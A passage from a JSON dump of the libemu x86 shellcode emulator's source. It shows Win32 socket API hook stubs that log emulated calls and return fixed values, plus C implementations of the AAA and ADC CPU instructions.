NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"sendto\");\n\t\temu_profile_argument_add_int(env->profile, \"SOCKET\", \"s\", s);\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"buf\", p_buf);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"len\", len);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"flags\", flags);\n\t\temu_profile_argument_add_sockaddr_ptr(env->profile, \"name\", p_to, sa);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"tolen\", tolen);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t}\n\t\n\n\tif( buffer != NULL )\n\t\tfree(buffer);\n\n\tlogDebug(env->emu, \"eip_save is %08x\\n\",  eip_save);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_socket(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*\nSOCKET WSAAPI socket(\n  int af,\n  int type,\n  int protocol\n);\n*/\n\n\n\tuint32_t af;\n\tPOP_DWORD(c, &af);\n\n\tuint32_t type;\n\tPOP_DWORD(c, &type);\n\n\tuint32_t protocol;\n\tPOP_DWORD(c, &protocol);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   af,\n\t\t\t\t\t\t\t\t\t\t\t   type,\n\t\t\t\t\t\t\t\t\t\t\t   protocol);\n\t}else\n\t{\n\t\t\treturnvalue = 65;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"socket\");\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"af\", af);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"type\", type);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"protocol\", protocol);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"SOCKET\", returnvalue);\n\t}\n\t\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_WSASocketA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n\n/* SOCKET WSASocket(\n  int af,\n  int type,\n  int protocol,\n  LPWSAPROTOCOL_INFO lpProtocolInfo,\n  GROUP g,\n  DWORD dwFlags\n); */\n\n\n\tuint32_t af;\n\tPOP_DWORD(c, &af);\n\n\n\n\tuint32_t type;\n\tPOP_DWORD(c, &type);\n\n\tuint32_t protocol;\n\tPOP_DWORD(c, &protocol);\n\n\tuint32_t protocolinfo;\n\tPOP_DWORD(c, &protocolinfo);\n\n\n\tuint32_t group;\n\tPOP_DWORD(c, &group);\n\n\n\tuint32_t flags;\n\tPOP_DWORD(c, &flags);\n\n\n\tlogDebug(env->emu, \"SOCKET WSASocket(af=%i, type=%i, protocol=%i, lpProtocolInfo=%x, group=%i, dwFlags=%i);\\n\",\n\t\t   af, type, protocol, protocolinfo, group,  flags);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   af,\n\t\t\t\t\t\t\t\t\t\t\t   type,\n\t\t\t\t\t\t\t\t\t\t\t   protocol,\n\t\t\t\t\t\t\t\t\t\t\t   NULL,\n\t\t\t\t\t\t\t\t\t\t\t   NULL,\n\t\t\t\t\t\t\t\t\t\t\t   NULL);\n\t}else\n\t{\n\t\treturnvalue = 66;\n\t}\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"WSASocket\");\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"af\", af);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"type\", type);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"protocol\", protocol);\n\t\temu_profile_argument_add_int(env->profile, \"LPWSAPROTOCOL_INFO\", \"lpProtocolInfo\", protocolinfo);\n\t\temu_profile_argument_add_int(env->profile, \"GROUP\", \"g\", group);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwFlags\", flags);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"SOCKET\", returnvalue);\n\t}\n\t\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_WSAStartup(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nint WSAStartup(\n  WORD wVersionRequested,\n  LPWSADATA lpWSAData\n);\n*/\n\t\n\tuint32_t wsaversionreq;\n\tPOP_DWORD(c, &wsaversionreq);\n\tlogDebug(env->emu, \"WSAStartup version %x\\n\", wsaversionreq);\n\n\tuint32_t wsadata;\n\tPOP_DWORD(c, &wsadata);\n\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"WSAStartup\");\n\t\temu_profile_argument_add_int(env->profile, \"WORD\", \"wVersionRequested\", wsaversionreq);\n\t\temu_profile_argument_add_int(env->profile, \"LPWSADATA\", \"lpWSAData\", wsadata);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", 0);\n\t}\n\t\n\temu_cpu_reg32_set(c, eax, 0x0);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/Makefile.am",
    "content": "# libemu Makefile\n# Paul Baecher, Markus Koetter\n# $Id$\n\nEXTRA_DIST = add.c\nEXTRA_DIST += misc.c\n"
  },
  {
    "path": "src/functions/aaa.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\nint32_t instr_aaa_37(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 37 \n\t * ASCII adjust AL after add\n\t * AAA\n\t */\n\n\tif ( ((*c->reg8[al] & 0x0f) > 9) || CPU_FLAG_ISSET(c,f_af))\n\t{\n\t\t*c->reg8[al] = *c->reg8[al] + 6;\n\t\t*c->reg8[ah] = *c->reg8[ah] + 1;\n\t\tCPU_FLAG_SET(c,f_af);\n\t\tCPU_FLAG_SET(c,f_cf);\n\t}else\n\t{\n\t\tCPU_FLAG_UNSET(c,f_af);\n\t\tCPU_FLAG_UNSET(c,f_cf);\n\t}\n\t*c->reg8[al] = (*c->reg8[al] & 0x0f);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/adc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <stdio.h>\n\n\n#if BYTE_ORDER == BIG_ENDIAN \n#define INSTR_CALC(bits, a, b, c, operation, cpu)\t\t\t\\\nUINTOF(bits) operand_a; \\\nUINTOF(bits) operand_b; \\\nbcopy(&(a), &operand_a, bits/8); \\\nbcopy(&(b), &operand_b, bits/8); \\\nUINTOF(bits) operation_result = operand_a operation operand_b operation ((cpu->eflags & (1 << f_cf))?1:0);\t\\\nbcopy(&operation_result, &(c), bits/8); \n#else // ENDIAN\n#define INSTR_CALC(bits, a, b, c, operation, cpu)\t\t\t\\\nUINTOF(bits) operand_a = a;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operand_b = b;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operation_result = operand_a operation operand_b operation ((cpu->eflags & (1 << f_cf))?1:0);\t\\\nc = operation_result;\n#endif // ENDIAN\n\n\n#define INSTR_SET_FLAG_OF(cpu, operand,bits)\t\t\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tint64_t sx = (INTOF(bits))operand_a;                                            \\\n\tint64_t sy = (INTOF(bits))operand_b;                                            \\\n\tint64_t sz = 0;                                                             \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tsz = sx operand sy operand ((cpu->eflags & (1 << f_cf))?1:0);\t\t\t\t\t\t\\\n\t/*printf(\"of: sx %lli + sy %lli + cf %i = sz %lli \\n\", sx, sy, (cpu->eflags & (1 << f_cf))?1:0, sz);*/\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \\\n\t|| sz != (INTOF(bits))operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_of);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_of);                                               \\\n\t}                                                                           \\\n}\n\n#define INSTR_SET_FLAG_CF(cpu, operand)\t\t\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuint64_t ux = (uint64_t)operand_a;                                          \\\n\tuint64_t uy = (uint64_t)operand_b;                                          \\\n\tuint64_t uz = 0;                                                            \\\n\tuz = ux operand uy operand ((cpu->eflags & (1 << f_cf))?1:0);\t\t\t\t\t\\\n\t/*printf(\"cf: ux %lli + uy %lli + cf %i = uz %lli \\n\", ux, uy, (cpu->eflags & (1 << f_cf))?1:0, uz);*/\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (uz < max_inttype_borders[sizeof(operation_result)][1][0] || uz > max_inttype_borders[sizeof(operation_result)][1][1] \\\n\t|| uz != (uint64_t)operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_cf);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_cf);                                               \\\n\t}                                                                           \\\n}\n\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation, cpu)\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu, operation, bits)\t\t\t\t\t\t\\\nINSTR_SET_FLAG_CF(cpu, operation)\n\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \n\n\nint32_t instr_adc_10(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 10 /r\n\t * Add with carry byte register to r/m8\n\t * ADC r/m8,r8     \n\t */\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t +)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_adc_11(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 11 /r\n\t\t\t * Add with carry r16 to r/m16\n\t\t\t * ADC r/m16,r16   \n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 11 /r\n\t\t\t * Add with CF r32 to r/m32\n\t\t\t * ADC r/m32,r32   \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 11 /r\n\t\t\t * Add with carry r16 to r/m16\n\t\t\t * ADC r/m16,r16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 11 /r\n\t\t\t * Add with CF r32 to r/m32\n\t\t\t * ADC r/m32,r32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_adc_12(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 12 /r\n\t * Add with carry r/m8 to byte register\n\t * ADC r8,r/m8     \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t +)\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_adc_13(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 13 /r\n\t\t\t * Add with carry r/m16 to r16\n\t\t\t * ADC r16,r/m16   \n\t\t\t */\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 13 /r\n\t\t\t * Add with CF r/m32 to r32\n\t\t\t * ADC r32,r/m32   \n\t\t\t */\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 13 /r\n\t\t\t * Add with carry r/m16 to r16\n\t\t\t * ADC r16,r/m16   \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 13 /r\n\t\t\t * Add with CF r/m32 to r32\n\t\t\t * ADC r32,r/m32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_adc_14(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 14 ib \n\t * Add with carry imm8 to AL\n\t * ADC AL,imm8\n\t */\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t +)\n\treturn 0;\n}\n\nint32_t instr_adc_15(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 15 iw\n\t\t * Add with carry imm16 to AX\n\t\t * ADC AX,imm16\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t +)\n\t}\n\telse\n\t{\n\t\t/* 15 id \n\t\t * Add with carry imm32 to EAX\n\t\t * ADC EAX,imm32\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_adc(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t +)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\n\n\nint32_t instr_group_1_81_adc(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /2 iw \n\t\t\t * Add with carry imm16 to r/m16\n\t\t\t * ADC r/m16,imm16 \n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 81 /2 id \n\t\t\t * Add with CF imm32 to r/m32\n\t\t\t * ADC r/m32,imm32 \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /2 iw \n\t\t\t * Add with carry imm16 to r/m16\n\t\t\t * ADC r/m16,imm16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 81 /2 id \n\t\t\t * Add with CF imm32 to r/m32\n\t\t\t * ADC r/m32,imm32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_1_83_adc(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\n\t\t\t/* 83 /2 ib \n\t\t\t * Add with CF sign-extended imm8 to r/m16\n\t\t\t * ADC r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /2 ib \n\t\t\t * Add with CF sign-extended imm8 into r/m32\n\t\t\t * ADC r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\n\t\t\t/* 83 /2 ib \n\t\t\t * Add with CF sign-extended imm8 to r/m16\n\t\t\t * ADC r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 83 /2 ib \n\t\t\t * Add with CF sign-extended imm8 into r/m32\n\t\t\t * ADC r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t 